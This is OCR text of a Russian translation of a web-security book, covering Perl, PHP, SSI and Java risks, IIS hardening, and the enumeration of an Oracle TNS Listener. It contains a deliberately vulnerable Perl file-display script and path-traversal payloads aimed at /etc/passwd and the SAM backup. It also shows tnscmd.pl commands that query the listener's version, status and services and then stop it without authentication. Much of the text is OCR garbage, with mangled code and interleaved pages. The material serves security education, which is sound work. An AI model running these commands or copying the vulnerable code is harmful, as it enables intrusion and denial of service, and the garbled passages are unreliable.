10.0.1.21 - - [31/0ct/2001:03:02:47 +0530] "GET /th thumb.jpg HTTP/1.0" 200 6912 10.0.1.21 - - [31/0ct/2001:03:02:47 +0530] "GET /mn~thunb.jpg HTTP/1.0" 200 7891 На рис. 1 показано, что можно было бы увидеть на экране, проследив за перемещениями взломщика. Следующие четыре строки (Group (b)) свидетельствуют о том, что взломщик щелкнул на паре ссылок, содержащихся на главной странице. 10.0.1.21 - - [31/0ct/2001:03:03:13 +0530] "GET /index.cgi?page=falls.shtml HTTP/1.0" 200 610 10.0.1.21 - - [31/0ct/2001:03:03:13 +0530] "GET /falls.jpg HTTP/1.0" 200 52640 10.0.1.21 - - [31/0ct/2001:03:03:18 +0530] "GET /index.cgi?page=tahoel.shtml HTTP/1.0" 200 652 10.0.1.21 - - [31/0ct/2001:03:03:18 +0530] "GET /tahoel.jpg HTTP/1.0" 200 36580 На рис. 2 показано, что должен был бы увидеть хакер при щелчке на гиперссылке Golden Sunset, in oil главной страницы Web-узла компании Acme Art. В данный момент трудно определить намерения взломщика, поскольку пока он не сделал ничего необычного. Возможно, он просто искал что-нибудь интересное. Следующая запись свидетельствует о том, что взломщик попытался получить доступ к каталогу /cgi-bin/ и посмотреть, что в нем находится (Group (с)).
Welcome to accaa-art-Cfica, '-sfeere you can sbsj> for fee best wori&tiftut 1 paintings to *ш!р£ишг actne-a;t.r ajwice &aiti* oae: cwi match: Click on tht catal^guft to ssJect your ЙКЯЕ* beared art йжгд1;«йгг your «»dfe ca~d number and we wffl defirer your pwchae** «u yoyr docwtef;. ;&'« '
Kt. cent «sss &e btest in « gy. Л2 yc' SSL Use y-i-ur anc password to login. WaSerfiils, in pencil t450
Golden Sunset, in оЯ $750
Useroams; |
EiS
1
Puc. 7. Главная страница Web-узла компании Acme Art
Сервер отклонил этот запрос, поскольку в журнале зарегистрирована ошибка 403 протокола HTTP. 10.0.1.21 - - [31/0ct/2001:03:03:41 +530] "GET /cgi-bin/ HTTP/1.0" 403 272 Взломщик продолжает перемещаться по Web-узлу. Кажется, он понял свою ошибку. Сначала он быстро анализирует URL-адрес http://www.acme-art.com/index.cgi,. а затем формирует запрос http://www.acme-art/index.cgi?page=index.cgi, следуя шаблону передачи параметров (Group (b)). На рис. 3 показано, что он увидел в окне своего броузера.
Будни электронной коммерции
''EJ*>
•';'.•
кШ;|Н
ii
iilli.
-•:: I:J.
.Рис. 2. После щелчка на ссылке В броузере отображен исходный код сценария index. cgi! Взломщик видит, что сценарий index. cgi в качестве параметра получает имя файла и отображает его содержимое. Поэтому в качестве параметра он передает имя index. cgi и добивается отображения исходного кода этого файла. Более пристальное знакомство с кодом Perl, содержащимся в файле index. cgi, позволяет обнаружить другие изъяны. 01: I ! /usr/bin/perl 02: I сценарий Perl для отображения страницы, заданной параметром 03: 04: 05:
require "../cgi-bin/cgi/lib.pl";
06 : SReadParse ( «input ) ; 07: 08: $filename = $input{page} 09: if($filename eq "") { 10: $filename = "main.html"; 11: } 12: 13: print SPrintHeader ; 14:
15: $filenarae = "/usr/local/apache/htdocs/" 16: open(FILE, $filename); 17: while () { 18: print $ ; 19: } 20: close (FILE);
24
$filename;
Часть I
МинЛю/perl # P*ri script to display A page back к requested by the argument require ' Vcji-birAs-Sj.pi", ftS/atSPjiisriipa); SSteoax = Sinfruts'p-sse}; ifffflrasrae сц ") ( tffiename - 'mairi.httnT;) pnrtt &PrintEead«r; Шепа лм}; wtsleO ! pnra $_;)
ЛSto2GM:07bK4rvTO-K-)t2rperl love-perl.pl "We love Perl" We love Perl! C:\temp В приведенном примере интерпретатор Perl запускается в локальной системе, а сценарий — из командной строки. Однако в Web такой подход используется чрезвычайно редко, поскольку при выполнении большинства сценариев Perl в качестве механизма взаимодействия с Web-броузером используется интерфейс CGI (Common Gateway Interface — интерфейс общего шлюза). Как правило, язык Perl используется для обработки данных, введенных пользователем в полях формы. В качестве примера рассмотрим форму, в поля HTML и которой пользователь может вводить данные.
Email Address:
Your message:
Затем введенная информация передается Perl-программе (т.е. mailto.pl) с помощью метода POST, указанного в дескрипторе .
34
Часть I. Будни электронной коммерции
После этого сценарий raailto.pl выполняет необходимые действия и возвращает сгенерированные данные обратно броузеру. Чрезвычайно ясная и простая процедура. Если вы уже используете Perl в качестве языка серверных сценариев или только планируете это осуществить, учитывайте ряд рисков нарушения безопасности и соответствующие контрмеры. • Удостоверьтесь, что Web-серверы не запускаются с административными привилегиями, т.е. с правами учетной записи root (Unix) или Administrator (Windows). В противном случае существует опасность выполнения взломщиком команд с высокими привилегиями. • Всегда выполняйте предварительную обработку значений полей. Определите для приложения список допустимых алфавитно-цифровых символов, а затем отфильтровывайте любые символы, не принадлежащие этому набору. Например, если существует поле, предназначенное для ввода адреса электронной почты, то для выявления некорректной информации можно воспользоваться шаблоном регулярного выражения. Это позволит выявить ошибку и сообщить пользователю о необходимости корректировки входных данных. В любом электронном адресе допустимы следующие символы: a..z, A..Z, 0-9, только один символ §, дефис (-), символ подчеркивания (_) и точка (.). Ниже приведено простое выражение, позволяющее выявить опасный замысел, в рамках которого используется поле для ввода электронного.адреса. If ($email Г /A[\w.-]+\i[\w.-]+$/){ print "*Внимание: в вашем электронном адресе обнаружена ошибка. Введите данные еще раз." } else { ((Выполнение оставшейся части сценария Perl Если этот фрагмент кода с регулярным выражением вам ничего не говорит, то его можно расшифровать следующим образом: / ((Начало регулярного выражения fЗадает начало строки [ ((Определяет начало списка символов \w ((Определяет алфавитно-цифровой символ (включая "_") ((Определяет точку "." ((Определяет черточку или дефис "-" ] ((Конец списка символов + ((Задает 1 или больше символов из предыдущего списка \§ ((Соответствует символу "§" [ ((Определяет начало списка символов \w ((Задает буквенно-цифровой символ (включая " ") tЗадает точку "." iЗадает черточку или дефис "-" ] ((Конец списка символов + ((Задает 1 или больше символов из предыдущего списка $ IЗадает конец строки / ((Конец регулярного выражения Если условие !", задаваемое в выражении Perl, не выполняется, то сценарием возвращается сообщение об ошибке и пользователю придется исправить введенную информацию. • Ограничьте использование локальных команд операционной системы. При передаче параметров функции open(), system(), fork() или ехес() могут оказаться "смертельными", поскольку позволяют взломщику выполнять команды. Если
Глава 1. Языки программирования для Web: Вавилон XXI столетия
35
эти функции использовать все же необходимо, обязательно проверяйте входные переменные, как упоминалось выше. • В системах Unix не стоит использовать значения переменных окружения. Вместо этого задавайте значения переменных $РАТН и $IFS только в файлах сценариев. $ENV{"PATH"} = "/bin:/usr/bin:/usr/local/bin:/opt"; $ENV{"IFS") = "/"; Если вы не осуществляете явное управление этими переменными, взломщик сможет изменить их значения и заставить программу выполнить другую команду, а не ту, которая планировалась. • Проверяйте размер входных переменных или данных, введенных в поля формы. Для этого необходимо либо^проверять длину переменных, передаваемых в программу, либо использовать поле $ENV{CONTENT_LENGTH} для ограничения размера данных, передаваемых в запросах POST (а иногда и GET). Если этого не сделать, взломщик сможет отправить в переменной большое количество данных и привести к краху Web-сервера, системы или, что еще хуже, добиться переполнения буфера и удаленно выполнить произвольные команды. • Попробуйте отказаться от приема пути из полей формы. По крайней мере убедитесь, что путь является относительным, а не абсолютным. Кроме того, отслеживайте символы точки (..) или прямой/обратной косой черты (/ или \). В противном случае взломщик сможет сгенерировать запрос на получение файла паролей системы Unix ../../../../../../../etc/passwd или запрос на получение резервной копии файла SAM системы Windows ../../../../../../../winnt/repaire/sara._ • По возможности используйте проверку допустимости используемых значений переменных. • По умолчанию сценарии Perl хранятся в виде незашифрованного текста. Поэтому после взлома Web-сервера можно прочитать файлы Perl и извлечь из них различную информацию, например имена пользователей и пароли для доступа к базе данных. Несколько программ, например Рег12ехе (http://www.perl2exe.com), позволяют скрыть код Perl. При их использовании создается независимый исполняемый файл (,ехе), из-за чего становятся ненужными исходный код Perl и интерпретатор. Вообще, защита сценариев Perl имеет решающее значение, поэтому найдите или разработайте самостоятельно хорошую функцию анализа входных данных и применяйте ее для проверки значения каждого поля пользовательской формы. Для получения более подробной информации о защите сценариев Perl обращайтесь по адресу: http: / /www. w3. org/Security/Faq/.
PHP
'
-
'
'-"'**
:
' •
^
•
Расширения файлов: .php, .php3 либо без расширения Хотя у языка РНР было несколько авторов, истоки его развития заложил Расмус Лердорф (Rasmus Lerdorf). В 1995 году он разработал первый синтаксический анализатор РНР, который, по существу, представлял собой CGI-программу на языке Perl. Расмус назвал ее персональной домашней страницей (Personal Home Page) или просто РНР. Эта программа была создана для регистрации посетителей его страницы-резюме в Web. Позже программа была полностью переписана на языке С и стала гораздо больше. В ней были улучшены возможности синтаксического анализа и добавлены
36
Часть I. Будни электронной коммерции
средства доступа к базам данных. За прошедшие годы в развитие языка РНР внесли вклад другие программисты, в том числе Зив Шураски (Zeev Suraski) и Энди Гутмане (Andy Gutmans), которые переработали модуль синтаксического анализа и создали РНР версии 3. За исключением страниц ASP и сценариев Perl, PHP является одним из наиболее распространенных языков серверных сценариев. Язык РНР чрезвычайно разносторонний и может применяться для создания приложений, не связанных с Web. Тем не менее этот язык наиболее часто используется на Web-серверах системы Unix (например, Apache; http://www.apache.org) как средство реализации серверной подсистемы обработки данных. Фактически, это наиболее часто используемый модуль Apache (http://www.securityspace.com/s_survey/data/man.200111/apachemods.html). В именах файлов РНР могут использоваться произвольные расширения, однако, как правило, применяются следующие:
• -php; • .php3. Для начального знакомства с кодом РНР рассмотрим фрагмент, в котором команда РНР echo используется для вывода строки "Hello World!" в пользовательском Webброузере. PHP Example
Обратите внимание: язык РНР очень напоминает Perl. Строки 1 и 2 представляют собой комментарии HTML, о чем говорят дескрипторы
Таблица 1.2. Переменные окружения CGI Переменная
Описание
GATEWAY_INTERFACE Содержит номер версии CGI, поддерживаемой на сервере. Формат: CGI/версия (например, CGI/1.1) SERVER_NAME Содержит DNS-имя сервера, имя узла или IP-адрес сервера, на котором запущена программа CGI SERVERJOFTWARE Содержит имя и версию программного обеспечения, запущенного на сервере. Формат: имя/версия (например, Server: Microsoft-IIS/4.0) QUERYJTRING В этой переменной размещается вся строка запроса, указанная в UFL за символом ?. Например, если в сценарий test.cgi передаются два параметра, http:/ /www.example.com/test.cgi?fname=Stuart&lname=McClure, то в переменной QUERY_STRING будет храниться строка fname=Stuart&lname=Mcdure PATH_INFO
SERVER_PROTOCOL SERVER_PORT REQUEST_METHOD
CONTENTJTYPE
Содержит дополнительную информацию, указанную в URL, которая может понадобиться на сервере для обработки формы. Лучшим примером использования этой переменной является случай, когда CGI-программе нужно передать информацию о местоположении файла Содержит имя и версию используемого протокола. Формат: протокол/версия (например, НТТР/1Л) Содержит номер порта сервера. Обычно используется TCP-порт 80 Метод HTTP, используемый для передачи информации, обычно GET, PUT, POST или HEAD. Для получения более подробной информации о методах HTTP читайте главу 3 Хранит тип содержимого, соответствующего передаваемым данным, например CONTENTJTYPE:text/html
SCRIPT_NAME
Определяет длину содержимого (POST или PUT), передаваемого в клиентском запросе. Обычно это значение измеряется в байтах Содержит виртуальный путь к запускаемому сценарию
CONTENT_LENGTH
REMOTE_USER
Аутентифицирует удаленного пользователя
AUTH_TYPE
Определяет зависящий от протокола метод аутентификации пользователя
PATHJTRANSLATED REMOTE_HOST
Хранит преобразованное значение PATH_INFO. Эта переменная используется для преобразования виртуальных каталогов в физические Хранит имя удаленного узла, с которого поступил запрос
REMOTE_ADDR
Хранит IP-адрес удаленной системы, отправившей запрос
REMOTE IDENT
Если сервер поддерживает спецификацию RFC 931, то в переменной REMOTE_IDENT хранится имя удаленного пользователя, полученное сервером. Обычно этот пользователь обладает ограниченными правами на регистрацию
46
Часть I. Будни электронной коммерции
Окончание табл. 1.2
Переменная
Описание
НТТР_АССЕРТ или ACCEPT
Хранит типы MIME, поддерживаемые клиентом, например text/plain, text/html, www/mime и application/html
HTTP_USER_AGENT
Хранит название производителя и версию клиентского Web-броузера
Признаком использования серверных включений является наличие символов . В предыдущем примере директива var использовалась для отображения значения переменной DATE_GMT. Применяя технологию SSI, можно выполнять различные функции, в том числе приведенные в табл. 1.3.
Серверные включения и сервер IIS компании Microsoft По умолчанию сервер IIS не разрешает использовать команды CMD директивы EXEC. Для того чтобы изменить этот режим, добавьте в системный реестр следующий параметр, а затем перезагрузите систему. Раздел HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters Имя параметра SSIEnableCmdDirective Тип DWORD Значение 1 Замечание. Если в системном реестре в этом параметре содержится значение 1, немедленно удалите его (естественно, при условии, что он не требуется). Хотя в настоящее время серверные включения используются в Web-приложениях достаточно редко, нужно проявлять бдительность. Соблюдайте осторожность при использовании преимуществ этой технологии, поскольку коварный хакер может быть следующим, кто ими воспользуется.
Таблица 1.3. Директивы SSI Директива
Функция
texec var=
При использовании директив SSI можно получить доступ ко многим переменным, в том числе: DATE_LOCAL (содержит дату и время сервера); HTTP_REFERER (определяет местонахождение пользователя); DATE_GMT (содержит дату и время по Гринвичу); REMOTE_ADDR или REMOTE_HOST (содержит исходный IP-адрес или имя узла соответственно); DOCUMENTJIAME или DOCUMENTAL (содержит имя Web-страницы); HTTPJJSER AGENT (содержит имя Web-броузера)
jfexec стй=
Позволяет выполнять на удаленной системе произвольные команды. Обычно команда cmd выполняется только в системах Unix, однако известно, что в Windows ее тоже можно использовать. Очевидно, что такая возможность представляет серьезный риск нарушения безопасности. Поэтому в большинстве Web-серверов приложений ее по умолчанию отключают. Тем не менее возможность выполнения произвольных команд стала причиной многих успешных взломов
Глава 1. Языки программирования для Web: Вавилон XXI столетия
47
Окончание табл. 1.3 Директива
Функция
lexec сд!= Запускает программу CGI. Зачастую эту директиву используют при вызове других файлов для отображения текста If size file* Возвращает размер файла < имя-файла> Iflastmod file= I include f 11е=
Возвращает дату последнего изменения файла Включает текст из файла
tinclude virtual
Эту команду нужно использовать для обращения к файлу . shtml, находящемуся в другом каталоге
tcomment
Защищает данные, содержащиеся после этой команды, поскольку такая строка сервером игнорируется. В этом разделе документа можно найти интересную информацию
Java Расширения файлов: отсутствуют Язык Java в начале 1990-х годов был создан Джеймсом Гослингом (James Gosling), сотрудником компании Sun Microsystems, и первоначально назывался Oak. Без сомнения, язык Java представляет собой одну из наиболее обещающих и разрекламированных технологий последнего десятилетия. Этот язык изначально планировалось использовать в бытовых электронных устройствах. Это поистине достойная цель для языка программирования, претендующего на главную роль в информационном сообществе. Даже в настоящее время Java олицетворяет почти недостижимую универсальную переносимость и функциональность. Популярность языка Java на современном рынке достаточно высока, однако до его повсеместного распространения еще довольно далеко. Java — это объектно-ориентированный язык, в котором все элементы программы (т.е. переменные, функции, подпрограммы или само приложение) считаются объектами. В настоящее время с использованием Java разрабатываются многие Webприложения. Однако их исходный код нельзя получить так же просто, как при использовании других языков программирования для Web. Это связано с тем, что исходный код Java компилируется в файлы .class, в которых содержится байт-код. Ниже рассматриваются вопросы использования клиентской и серверной версии Java.
Использование Java в клиентской части приложения Эта версия Java предназначена для использования в клиентской системе и броузере конечного пользователя. Существует две клиентские версии Java — для создания аплетов и сценариев.
48
Часть I. Будни электронной коммерции
Аплеты Для загрузки и запуска аплетов Java с помощью клиентского Web-броузера используются дескрипторы , внедренные в код HTML. Один из основных рисков, связанных с использованием аплетов, заключается в том, что, хотя они и скомпилированы в байт-код, типичный класс Java можно загрузить отдельно и декомпилировать. Это позволит взломщику просмотреть исходный код Java, провести его анализ и найти уязвимые места. Эти вопросы будут обсуждаться в данной главе, а также на протяжении последующих глав книги. Аплеты Java можно разрабатывать в любом текстовом файле, как и при использовании многих других языков, рассмотренных выше в главе. Простой аплет можно создать в течение нескольких минут. Например, для создания аплета, выводящего на экран строку "Hello World!", достаточно скопировать приведенный ниже код в текстовый файл, а затем присвоить ему любое имя с расширением . Java. import Java.awt.Graphics; import java.applet.Applet; public class HellWorldApplet extends Applet
{
public void paint (Graphics g)
{
g.drawstring("Hello, World!", 5, 30);
} }
Необходимо отметить следующее: • оператор import эквивалентен директиве linclude языка C/C++ в том смысле, что обеспечивает включение всех требующихся компилятору классов; • класс HelloWorldApplet расширяет класс Java.applet.Applet, задающий базовые свойства аплета; • класс Graphics применяется для вывода графики на экран. Теперь исходный файл нужно скомпилировать в байт-код с помощью интерпретатора Java (http://java.sun.com). После компиляции формируется файл класса Java (HelloWorldApplet.class). С этого момента его можно запускать из HTML-кода Webстраниц с помощью дескриптора . Когда аплет Java загружается в память, для каждого метода класса создается отдельный поток. Затем байт-код выполняется процессором. Байт-код — это последовательность инструкций,, аналогичная ассемблерному или двоичному коду, в которой каждая инструкция состоит из однобайтового кода операции (действия) и нулевого или большего количества операндов. Из-за использования байт-кода аплеты Java не пересылаются по Internet в виде обычного текста. К сожалению, подобная маскировка на мешает взломщику декомпилировать байт-код и получить исходный код Java. Имея исходный код, взломщик может подробно ознакомиться с работой приложения, в том числе получить любые пароли, используемые для соединения с серверами и доступа к базам данных. Из многих существующих сегодня декомпиляторов Java наиболее точным является JAD (Java Decompiler), разработанный Павлом Кузнецовым (Pavel Kouznetsov). Ядро
Глава 1. Языки программирования для Web: Вавилон XXI столетия
49
JAD написано на C/C++, что обеспечивает высокую скорость его работы. Более подробно декомпилятор JAD рассматривается в последующих главах. В табл. 1.4 представлено подробное описание дескриптора .
Таблица 1.4. Полное описание дескриптора Дескриптор/ атрибут
Описание
Открывающий дескриптор
CODEBASE =
(Необязательный.) Каталог, в котором содержатся файлы .class
ARCHIVE =
(Необязательный.) Архив, в котором описаны предварительно загружаемые классы
CODE = или OBJECT =
(Обязательный.) Имя файла .class Или (Обязательный, если CODE не используется.) Преобразованное представление аплета
ALT
= (Необязательный.) Текст, отображаемый при неудачном запуске
NAME
= (Необязательный.) Имя экземпляра
WIDTH
= (Обязательный.) Начальная ширина аплета в пикселях
HEIGHT
= (Обязательный.) Начальная высота аплета в пикселях
ALIGN
= (Необязательный.) Тип выравнивания аплета на HTML-странице
VSPACE
= (Необязательный.) Расстояние от области отображения аплета до верхней границы родительского окна в пикселях = (Необязательный.) Расстояние от области отображения аплета до боковой границы родительского окна в пикселях
HSPACE (Необязательный.) Имя и значение, передаваемые аплету
Закрывающий дескриптор
Java-подобные языки сценариев Языки сценариев Java практически полностью используются в клиентской системе. •Их основное преимущество заключается в хорошей производительности, а не в обеспечении безопасности, поскольку взломщик может без особых проблем их изменить и, таким образом, использовать для достижения своих злонамеренных целей.
JavaScript Это не компилируемый, а интерпретируемый язык сценариев, который изначально был разработан компанией Netscape. Однако между языками JavaScript и Java нет никакой связи, кроме схожести названий. Java является компилируемым, объектноориентированным и достаточно сложным языком программирования, в то время как JavaScript представляет собой объектный язык разработки сценариев, предназначенный для быстрого создания Web-приложений. Хотя он и предоставляет некоторые базовые возможности объектно-ориентированного подхода, он гораздо ближе к языкам сценариев, например Perl. Язык JavaScript полезно использовать для решения простых задач, например для проверки правильности заполнения полей формы, добавления кода HTML по требованию, выполнения пользовательских вычислений. Вот простой пример использования JavaScript, когда после щелчка на кнопке на экране отображается сообщение:
50
Часть I. Будни электронной коммерции
npocToft пример использования JavaScript Moft пример JavaScript Этот пример хорошо подходит для более тесного знакомства с языком и способом его использования. В следующем примере показано, как можно повысить безопасность программы, написанной на языке JavaScript. Из-за того, что сценарии JavaScript выполняются клиентским броузером, взломщик может обойти процедуру проверки введенной информации и воспользоваться нестандартными данными, чтобы нарушить работу приложения или, что еще хуже, заставить его раскрыть конфиденциальную информацию. В следующем примере сценарий JavaScript используется для проверки корректности введенных данных и для обеспечения ввода корректного возраста в поле age формы. Код JavaScript ограничивает возможность ввода возраста диапазоном 1— ПО. Любое значение за пределами этого диапазона считается некорректным. Проверка данных, введенных в попе формы
riBueltAt»x«y(KHAMEH\IUSn,... ...~
FJ Cortid
Alow
Оку
В
D
т т и т в
Modiy Read I, Execute List Folder Contents Read
Write
>««,„« FJ Control
п
Modify Read (Execute
D П П D
ЦЛ FoWei Contents Read Write
iHemov»
1
Alow
П D
П D
в т п
D
Bl
D
п п
i.
и 1
Advanced.. | г- Alow ir^jei'rtabie permissions from patent to propagate to Ibs :!-,
CttJCt
I'i
"
r~ Atotv inijertabte permissions from parent lo propa» itetoW» ОРгЖ* ' . :,::!;: • IWfl
'•'
_ Рис. 2.З. Свойства каталога iisamples
Рис. 2.4. Ограниченные права доступа к каталогу iisamples
При использовании списков ACL значительно снижается уязвимость системы. Даже если хакеру удастся запустить потенциально уязвимый файл, то он не сможет использовать его для того, чтобы записать какой-либо другой файл в данный каталог (что позволит ему расширить свое присутствие в системе).
Виртуальные узлы Выше уже рассматривались вопросы поддержки виртуальных узлов сервером Apache. Сервер IIS компании Microsoft тоже предоставляет такую возможность. При этом для реализации схемы адресации и поддержки нескольких Web-узлов можно использовать вторичные IP-адреса. Хотя виртуальный хостинг и не несет существенной угрозы безопасности, он все же представляет большой интерес для взломщика. Если хакеру удастся определить, что на данной системе поддерживаются виртуальные узлы, то вполне возможно, что она окажется наиболее привлекательной целью, ради которой можно отказаться от попыток взлома других узлов. Ниже показано, как в Windows обеспечить поддержку виртуальных Web-узлов в рамках одной системы. 68
Часть I. Будни электронной коммерции
Вторичные IP-адреса Первый шаг заключается в создании вторичных IP-адресов. В системе Windows это сделать несложно, и для большинства системных администраторов задача конфигурирования сетевого интерфейса сводится к выполнению перечисленных ниже действий. 1. Щелкните на кнопке Start. 2. Выберите команду Settings. 3. Выберите команду Network and Dial-Up Connections. 4. Выберите нужный сетевой интерфейс. 5. Щелкните на кнопке Properties (рис. 2.5). 6. Выберите компонент Internet Protocol (TCP/IP) и щелкните на кнопке Properties. 7. Щелкните на кнопке Advanced... (рис. 2.6). 8. Во вкладке IP Settings щелкните на кнопке Add (рис. 2.7). 9. Теперь можно добавить дополнительные IPадреса, как показано на рис. 2.8. Рис. 2.5. Окно состояния IP5etlimis|DNS | WINS | Option» | rlPaddptse.^ You an я» IP МОЙР «signed autanafcab f you nelwoft supports this capability. Otherwise, you need to atk yow neiwof k adfninittf a(o( Iw the appropriate IP setting*. f Qbiain en IP address automaticaly i-P Uje the Idtowing (P eddress: |P address
. | 172. 16 . 30 .222 | 2557255 . о . О
| 172. 16
30
1
Г Pt.-;,;..!'f PN'S ,чег'-й;Г ^( query_listener 192.168.0.5 -version Connecting... Returning raw data from version query ?(DESCRIPTION=(TMP=)(VSNNUM=135294976)(ERR=0))?7 ? TNSLSNR for 32-bit Windows: Version 8.1.7.0.0 - Production TNS for 32-bit Windows: Version 8.1.7.0.0 - Production Windows NT Named Pipes NT Protocol Adapter for 32-bit Windows: Version 8.1.7.0.0 Production Windows NT TCP/IP NT Protocol Adapter for 32-bit Windows: Version 8.1.7.0.0 - Production,, ?
i
Служба Oracle Listener сообщает о том, что операционной системой узла является Windows, а используемая версия службы Listener (которая, как правило, синхронизирована с версией базы данных) — Version 8.1.7.0.0 - Production. Кроме того, в строке VSNNUM=135294976 содержится номер версии базы данных: 0x8107000 = 8.1.7.0.0. Однако более полную информацию можно получить с помощью сценария tnscmd.pl, который можно найти по адресу: http://www.jammed.com/~jwa/hacks/ security/tnscmd/. Следующий сценарий Perl предназначен для систем Linux и BSD. l/tmp]* ./tnscmd.pl status -p 1521 -h 192.168.0.5 —indent sending (CONNECT_DATA«(COMMAND=status)) to 192.168.0.5:1521 writing 89 bytes reading 6 H R DESCRIPTIONIMP» VSNNUH'135294976 ERR-0 ALIAS-LISTENER SECURITY-OFF VERSION=TNSLSNR for 32-bit Windows: Version 8.1.7.0.0 - Production START DATE«07-APR-2001 22:38:50 SIDNUM-1 LOGFILE-C:\oracle\ora81\network\log\listener.log PRMFILE-C: \oracle\ora81\network\admin\listener.ora TRACING-off UPTIME=47629811 SNMP=OFF ENDPOINT= HANDLERSTA=ready HANDLER MAXLOAD-0 HANDLER~LOAD=0 ESTABLISHED=0 REFUSED-0 HANDLER ID=295B795C659F-4DFA-853D-F6179B02DEA9 PRE=ttc~
80
Часть I. Будни электронной коммерции
SESSION=NS DESCRIPTION» ADDRESS= PROTOCOL=ipc PIPENAME=\\.\pipe\EXTPROCOipc ENDPOINT» HANDLER» STA=ready HANDLER_MAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=0 REFUSED=0 HANDLER ID=628C449866D9-4B3F-AE7C-C45CEE7A9A8E PRE=ttc~ SESSION=NS DESCRIPTION= ADDRESS» PROTOCOL=tCp
HOST=kramer PORT=1521 /I
11
ENDPOINT= HANDLER» STA=ready HANDLER MAXLOAD=0 HANDLER~LOAD=0 ESTABLISHED»!) REFUSED=0 HANDLER_ID-2184A3688143-47C6-9FFD-2EBE169C3BEB PRE=giop SESSION=RAW DESCRIPTION» ADDRESS» PROTOCOL-tCp HOST=kramer PORT-2481 PROTOCOL STACKPRESENTATION-GIOP SESSION»RAW SERVICE» SERVICE NAKE»PLSExtProc INSTANCE» INSTANCE NAME=PLSExtProc NUM=1 INSTANCE_CLASS=ORACLE NUMREL»! SERVICE» SERVICE NAHE-globaldb INSTANCE» INSTANCE NAME»globaldb NUM=1 INSTANCE CLASS-ORACLE NUMREL=1~ INSTANCE» INSTANCE NAME=globaldb NUH=2
Глава 2. Web-серверы и серверы баз данных
81
INSTANCE_CLASS=ORACLE NUMREL=2
t
,,
Из приведенного примера видно, что стала известной и другая информация, в том числе следующая. • Дата последнего запуска базы данных: START_DATE=07-APR-2001 22:38:50 • Пути LOGFILE и PRMFILE (что облегчает анализ структуры файловой системы): LOGFILE=C: \oracle\ora81 \network\log\listener. log PRMFILE=C: \oracle\ora81 \network\admin\listener. ora •
Имя узла данной системы: HOST=kramer • Запушенные службы (включая Global Database): SERVICE NAME=PLSExtProc SERVICE~NAME=globaldb • Дополнительная точка входа, свидетельствующая о существовании еще одной службы прослушивания, которой можно воспользоваться: PROTOCOL=tcp
HOST=kramer PORT=2481 Можно получить также более подробную информацию о конкретных службах с помощью следующей команды: [/trap]* ./tnscmd.pl services -p 1521 -h 192.168.0.5 —indent sending (CONNECTJ)ATA=(COMMAND=services)) to 192.168.0.5:1521 writing 91 bytes reading
6
"DESCRIPTION» TMP=
?
VSNNUH=135294976 ERR=0 SERVICES EXIST=1
SERVICE» SERVICE_NAME=PLSExtProc INSTANCE» INSTANCE NAME=PLSExtProc NUH=1
INSTANCE CLASS=ORACLE HANDLER=~ HANDLER_DISPLAY=DEDICATED SERVER
STA=ready HANDLER INFO=LOCAL SERVER HANDLER~MAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=0 REFUSED=0
HANDLER ID=DAOF064463F1-4B7A-B413-B2EAFB29046D HANDLER~NAME=DEDICATED ADDRESS»
PROTOCOL=beq PROGRAM=extproc ENVS=
82
Часть I. Будни электронной коммерции
ARGVO=extprocPLSExtProc ARGS=' LOCAL=NO .NUMREL=1 SERVICE= SERVICE NAME=globaldb INSTANCE» INSTANCE_NAME=globaldb NUM=1 INSTANCE_CLASS'ORACLE HANDLERHANDLER_DISPLAY=DEDICATED SERVER
STA=ready
HANDLER_INFO=LOCAL SERVER HANDLER_MAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=0 REFUSED=0 HANDLER_ID=542FB7C143A8-4B6C-9E10-5FOE5CC16934 HANDLERJJAME'DEDICATED ADDRESS' PROTOCOL=beq PROGRAM=oracle ENVS= ARGVO=oracleglobaldb ARGS=' LOCAL'NO NUMREL=1 INSTANCE» INSTANCE NAME=globaldb NUM=2 INSTANCE_CLASS=ORACLE HANDLER= HANDLER_DISPLAY=DEDICATED SERVER STA=ready HANDLER_INFO=LOCAL SERVER HANDLER_HAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=0 REFOSED=0 HANDLER ID=BE4989721433-49B8-854F-CABOA4E1A42F HANDLER~NAME=DEDICATED SESSION=NS ADDRESS= PROTOCOL=BEQ PROGRAM=oraole ARGVO=oracleglobaldb ARGS=' DESCRIPTION' LOCAL=no ADDRESS» PROTOCOL=BEQ i HANDLER' HANDLER_DISPLAY=DISPATCHER STA=ready
Глава 2. Web-серверы и серверы баз данных
83 <
•
HANDLER INFO=DOOO HANDLER~MAXLOAD=0 HANDLER~LOAD=0 ESTABLISHED=0 REFUSED=0 HANDLER_ID=21AE239BlA82-4952-84AO-4C56536978BF PRE=oracle.aurora.server.SGiopServer HANDLER NAHE=DOOO SESSION=RAW DESCRIPTION» ADDRESS= PROTOCOL=tcp HOST=kramer PORT=1036 PRESENTATION=oracle.aurora.server.SGiopServer SESSION=RAW .NUMREL=2 Количество недостатков, имеющихся в службе Oracle Listener, зависит от используемой версии системы Oracle. К ним относится утечка дополнительной информации, возможность записи в файл, переполнения буфера и генерации условия отказа в обслуживании (Denial of Service — DoS). Простейшая возможность генерации условия DoS изначально заложена в версии 8.1.7 (а возможно, она является далеко не единственной). Воспользовавшись этим изъяном, хакер может легко завершить функционирование службы TNS Listener без аутентификации. Для этого прекрасно подойдет программа tnscmd.pl. Чтобы продемонстрировать этот подход, сначала воспользуемся командой ping и убедимся, что TNS Listener в данный момент активна. [/tmpjf ./tnscrad.pl ping -p 1521 -h 192.168.0.5 —indent
sending (CONNECT_DATA=(COMMAND=ping)) to 192.168.0.5:1521 writing 87 bytes" reading
"..=
.1
DESCRIPTIONIMP» VSNNUM=135294976 ERR'O ALIAS-LISTENER Затем отправим службе Listener команду stop. [/tup]* ./tnscmd.pl stop -p 1521 -h 192.168.0.5 —indent sending (CONNECT_DATA-(COMMAND-stop)) to 192.168.0.5:1521 writing 87 bytes" reading
.G
"..;
DESCRIPTION» IMP» VSNNUM-135294976 ERR=0 USECKPFILE=0 И наконец, снова используем команду ping, чтобы определить статус этой службы. [/tmp]* ./tnscmd.pl ping -p 1521 -h 192.168.0.5 —indent sending (CONNECT_DATA-(COMMAND=ping)) to 192.168.0.5:1521 connect connect to 192.168.0.5 failure: Bad file descriptor at ./tnscmd.pl line 165. Теперь, разумеется, служба TNS Listener не отвечает, поскольку она была отключена.
84
Часть I. Будни электронной коммерции
